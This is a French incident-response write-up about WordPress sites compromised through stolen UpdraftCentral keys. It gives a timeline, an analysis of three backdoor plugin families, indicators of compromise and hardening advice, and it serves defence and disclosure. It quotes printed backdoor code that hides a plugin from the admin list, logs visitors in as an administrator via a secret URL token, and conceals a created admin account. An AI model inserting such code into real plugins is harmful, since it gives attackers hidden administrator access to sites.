Lundi 19 octobre, le blog d’un de mes clients ne répond plus : « Il y a une erreur critique sur ce site ». Le coupable est vite trouvé : une extension qui n’a jamais été installée par le client : menu-stack, la même famille que celle décrite le jour même par IT-Connect et Nethemba. Un bug dans son code fait planter chaque page.
L’histoire aurait pu s’arrêter là. Sauf qu’en remontant le dossier des extensions, j’en trouve deux autres, arrivées plusieurs heures plus tôt. Celles-là ne plantent pas. Elles sont conçues pour se faire oublier, et elles donnaient à l’attaquant un accès administrateur au site.
Le bug qui a sauvé d’autres sites ne protège donc pas tout le monde. Un site qui n’a pas planté peut très bien être compromis sans le moindre symptôme.
Le contexte en bref
L’attaquant n’a exploité aucune faille de les serveurs : il disposait des clés qui permettent de piloter les sites à distance.
- UpdraftCentral est le tableau de bord de gestion à distance de TeamUpdraft. Son client est intégré à chaque copie d’UpdraftPlus, gratuite ou premium.
- Un site connecté conserve une clé et exécute toute commande signée par le tableau de bord, avec les droits de l’administrateur qui a créé la connexion. Parmi ces commandes : plugin.upload_plugin, qui installe et active une extension.
- Le week-end des 17 et 18 octobre, teamupdraft.com a été compromis. Selon l’éditeur, la base clients a été consultée, y compris les clés de connexion UpdraftCentral (communiqué de TeamUpdraft).
- Ces clés ne peuvent pas être révoquées à distance par l’éditeur. Tant qu’elles restent sur un site, ce site accepte les commandes de quiconque les détient.
Les deux sites étaient à jour mais cela ne change rien !
Pour le récit détaillé du mécanisme, je vous renvoie aux analyses publiées le 19 octobre par IT-Connect et Nethemba. Cet article se concentre sur ce qu’elles ne décrivent pas encore.
La chronologie
Sur les deux sites, le scénario est identique : une sonde, puis une ou plusieurs extensions déposées dans les heures qui suivent, toujours depuis 43.250.53.42 (hébergeur RedSwitches), la même adresse que dans l’article de Nethemba. Le blog est noté A, le second site B. Heures de Paris.
| Date et heure | Site | Événement |
| 17/09/2025 | B | Création de la clé UpdraftCentral, oubliée depuis |
| 14/06 au 06/08/2026 | A | Tentatives d’exploitation de CVE-2026-10795 depuis 8 adresses IP, toutes rejetées (« Could not decrypt incoming message ») |
| 17-18/10/2026 | TeamUpdraft | Intrusion sur teamupdraft.com selon l’éditeur |
| 18/10, 23:17 | A | Sonde vers la clé fictive probe.central.updraftplus.com |
| 18/10, 23:53 | A | plugin.upload_plugin : dépôt de site-health-cache (fonctionnelle) |
| 19/10, 00:45 | A | plugin.upload_plugin : dépôt de js-cache-d96b (fonctionnelle) |
| 19/10, 01:22 | B | Sonde vers probe.central.updraftplus.com |
| 19/10, 03:14 | B | plugin.upload_plugin : dépôt de query-bridge-db3 (buguée) |
| 19/10, 08:34 | A | plugin.upload_plugin : dépôt de menu-stack (buguée). Le site tombe |
| 19/10, 10:28 | B | Rafale de 64 requêtes UDRPC, toutes redirigées (302), non traitées |
| 19/10, 11:28 | A | Deux nouvelles commandes, en échec : le site renvoie une erreur 500 |
| 19/10, 17:03 | A | Mise en quarantaine des trois extensions, suppression de la clé |
| 19/10, 17:12 | A | Alerte Seckhmet : nouveaux composants détectés |
| 19/10, 17:51 | B | Mise en quarantaine, suppression de la clé, renouvellement des clés secrètes |
Deux détails comptent. Sur le blog, les deux portes dérobées fonctionnelles sont arrivées en premier, près de neuf heures avant celle qui a fait tomber le site. Et l’attaquant est revenu à la charge en fin de matinée : il était toujours actif.
Trois familles de portes dérobées
Les quatre extensions relèvent de trois modèles distincts. Toutes servent le même but, ouvrir une session administrateur depuis une simple URL, mais seule la troisième est déjà documentée.
| site-health-cache | js-cache-d96b | Modèle « maintenance toolkit » | |
| Exemplaires | blog | blog | menu-stack (blog), query-bridge-db3 (site B) |
| Déclencheur | ?cb18559178f8=<jeton> | ?c164b9a7b76c=<jeton>&m=… | ?_6a585d= / ?_93b01d= |
| Effet | session sur le 1er administrateur existant | crée un admin caché ou ouvre une session admin | crée un Éditeur avec manage_options et install_plugins |
| Dissimulation | absente de la liste des extensions | compte masqué dans la liste des utilisateurs | nom et description génériques |
| Fonctionne ? | oui | oui | non, plante le site |
1. site-health-cache : l’extension invisible
C’est la plus courte et la plus dangereuse. Son nom imite le module « Santé du site » de WordPress, et elle se retire elle-même de l’écran Extensions :
add_filter('all_plugins', function($plugins) {
$file = plugin_basename(__FILE__);
if (isset($plugins[$file])) unset($plugins[$file]);
return $plugins;
});
Elle efface aussi sa trace de la liste des extensions récemment activées. Avec le bon jeton, elle connecte le visiteur sur le premier compte administrateur, sans créer de compte :
if (isset($_GET['cb18559178f8']) && hash_equals('28FWGDdx…', $_GET['cb18559178f8'])) {
$admins = get_users(array('role' => 'administrator', 'number' => 1));
wp_set_current_user($admins[0]->ID);
wp_set_auth_cookie($admins[0]->ID);
wp_redirect(admin_url());
Pas de nouveau compte à repérer, pas d’extension visible, et une connexion qui contourne le formulaire, donc la double authentification. Une revue classique de l’admin ne voit rien.
2. js-cache-d96b : l’administrateur fantôme
Elle se présente comme une extension de cache (« Improves cache efficiency for content sites », auteur « PluginCraft ») et fait illusion. Son point d’entrée a trois modes :
- m=setup crée le compte administrateur webtech795 (« Web Tech », webtech795@example.com), mémorise son ID dans l’option js_cache_d96b_uid et s’y connecte ;
- m=svc se reconnecte à ce compte ;
- sans mode, elle ouvre une session sur le premier administrateur.
Le compte créé est ensuite effacé de l’écran Utilisateurs, et le compteur d’administrateurs est corrigé pour ne pas trahir sa présence :
add_action('pre_user_query', function($query) {
$svc = (int) get_option('js_cache_d96b_uid', 0);
if ($svc) {
$ex = $query->query_vars['exclude'] ?? array();
$query->query_vars['exclude'] = array_merge((array) $ex, array($svc));
}
});
Sur le blog, l’option js_cache_d96b_uid n’existait pas : le mode setup n’a jamais été appelé.
3. Le modèle « maintenance toolkit »
C’est celui décrit par IT-Connect (type-stack-285) et Nethemba (load-stack-35c, text-gantry-eb0). Mes deux exemplaires, menu-stack (auteur affiché « LoftStack ») et query-bridge-db3 (« Harbor Stack Labs »), portent la même description : « Small maintenance toolkit: keeps option storage tidy. »
Ils devaient créer un compte Éditeur (page-maint66, data_team87, adresse en @example.org, nom affiché « Site Tools ») doté de manage_options et install_plugins, donc un quasi-administrateur absent du filtre par rôle. Le même bug les rend inopérants : les constantes sont déclarées au niveau global, puis lues comme constantes de classe.
define( 'QUERYBRIDGEDB3_FIELD', '_93b01d' );
// ...
if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, ... ) ) {
// PHP 8 : Error: Undefined constant QueryBridgeDb3::FIELD
L’erreur survient à chaque chargement de page, avant la vérification du jeton : le site entier tombe. Corriger quelques caractères suffirait à rendre ce modèle fonctionnel. Si vous en trouvez un, ne le « réparez » surtout pas.
La détection dans tout ça ?
Seckhmet m’a envoyé un e-mail « Nouveau(x) composant(s) WordPress détecté(s) » listant js-cache-d96b 1.8.7 et site-health-cache 1.0.0. Point notable : site-health-cache a bien été repérée alors qu’elle se retire de l’écran Extensions de WordPress. Une surveillance qui compare l’inventaire des composants dans le temps voit ce que l’admin ne montre plus.
Au niveau des journaux, trois sources ont suffi à reconstituer l’attaque :
- le journal UpdraftCentral (Outils avancés > UpdraftCentral > « Voir les récents événements »), avec une ligne Command received: plugin.upload_plugin par dépôt ;
- les journaux d’accès Apache, avec un POST / portant le User-Agent WordPress/6.4; class-udrpc.php à la seconde près ;
- les dates de création des dossiers dans wp-content/plugins/.
Le vrai tableau de bord UpdraftCentral envoie class-udrpc.php/2.0; https://teamupdraft.com. L’absence de version dans le User-Agent signe un client tiers.
Les indicateurs de compromission
Les noms changent d’un site à l’autre : cherchez les comportements autant que les valeurs exactes. Jetons et mots de passe sont tronqués volontairement.
| site-health-cache | js-cache-d96b | menu-stack | query-bridge-db3 | |
| En-tête | Site Health Cache 1.0.0, sans auteur | Js Cache D96b 1.8.7, PluginCraft | Menu Stack 3.5.5, LoftStack | Query Bridge Db3 3.3.6, Harbor Stack Labs |
| Déposée le | 18/10, 23:53 | 19/10, 00:45 | 19/10, 08:34 | 19/10, 03:14 |
| Paramètre GET | cb18559178f8 | c164b9a7b76c (+ m) | _6a585d | _93b01d |
| Jeton | 28FWGDdx… | 6xES11Fg… | xQskPT6h… | i61np3ec… |
| Compte prévu | aucun (admin existant) | webtech795, @example.com, « Web Tech » | page-maint66, @example.org, « Site Tools » | data_team87, @example.org, « Site Tools » |
| Options en base | sh_cache_ver | js_cache_d96b_installed, js_cache_d96b_uid | menu_stack_sync_token | query_bridge_db3_sync_token |
| Tâche planifiée | non | js_cache_d96b_maintenance | non | non |
| SHA-256 du fichier principal | à compléter | à compléter | à compléter | 11c42d4eda8cc0237985b3234a92b9e434a328e5aab279842408b13f196aad5d |
Traits communs à toute la campagne :
- requête POST / avec le User-Agent exact WordPress/6.4; class-udrpc.php, depuis 43.250.53.42 ;
- dans le journal UpdraftCentral, une sonde vers probe.central.updraftplus.com, puis Command received: plugin.upload_plugin quelques minutes à quelques heures plus tard ;
- un dossier d’extension créé à la seconde de cette commande par l’utilisateur PHP ;
- dans le code : $_GET + hash_equals + wp_set_auth_cookie, souvent wp_insert_user avec une adresse @example.* ;
- pour le modèle bugué, l’erreur fatale Undefined constant <Classe>::FIELD.
Les leçons
Le point faible n’était pas une version obsolète, mais une confiance totale accordée à un tiers, puis oubliée.
- Inventorier les accès distants. La clé du second site datait de septembre 2025 et ne servait plus. Une clé UpdraftCentral, Migrator, ManageWP ou MainWP est un accès administrateur permanent : supprimez celles dont vous n’avez pas l’usage.
- Créer les clés sous un compte limité. UpdraftCentral exécute les commandes avec les droits du compte qui a créé la clé. Comme le note Nethemba, un compte sans install_plugins aurait bloqué le dépôt.
- Interdire l’installation de code depuis WordPress. define( ‘DISALLOW_FILE_MODS’, true ); dans wp-config.php bloque l’installation et la mise à jour d’extensions depuis l’admin, et donc via UpdraftCentral. Les mises à jour passent alors par WP-CLI ou le déploiement.
- Surveiller l’inventaire, pas seulement l’écran. Une extension peut se cacher de l’admin, pas du disque. Une alerte sur tout nouveau composant, comme celle de Seckhmet, comble ce trou : c’est elle qui a révélé l’extension invisible de mon blog.
- Ne pas se fier au bug. Sur le blog, le modèle bugué est arrivé en dernier. Un site qui fonctionne normalement n’est pas un site sain.
- Garder des journaux assez longs. Sans journaux d’accès, impossible de prouver qu’un jeton n’a pas été appelé. Le journal UpdraftCentral ne conserve que les 50 derniers événements.